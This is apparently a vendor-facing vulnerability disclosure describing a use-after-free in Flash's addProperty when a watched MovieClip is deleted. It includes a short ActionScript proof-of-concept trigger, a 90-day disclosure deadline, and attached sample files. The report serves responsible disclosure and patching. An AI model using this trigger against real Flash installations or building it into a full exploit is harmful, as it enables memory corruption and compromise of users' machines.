There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){
	
	trace("a");
	
	}

A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

frfree.fla 5.5 KB Download

frfree.swf 966 bytes Download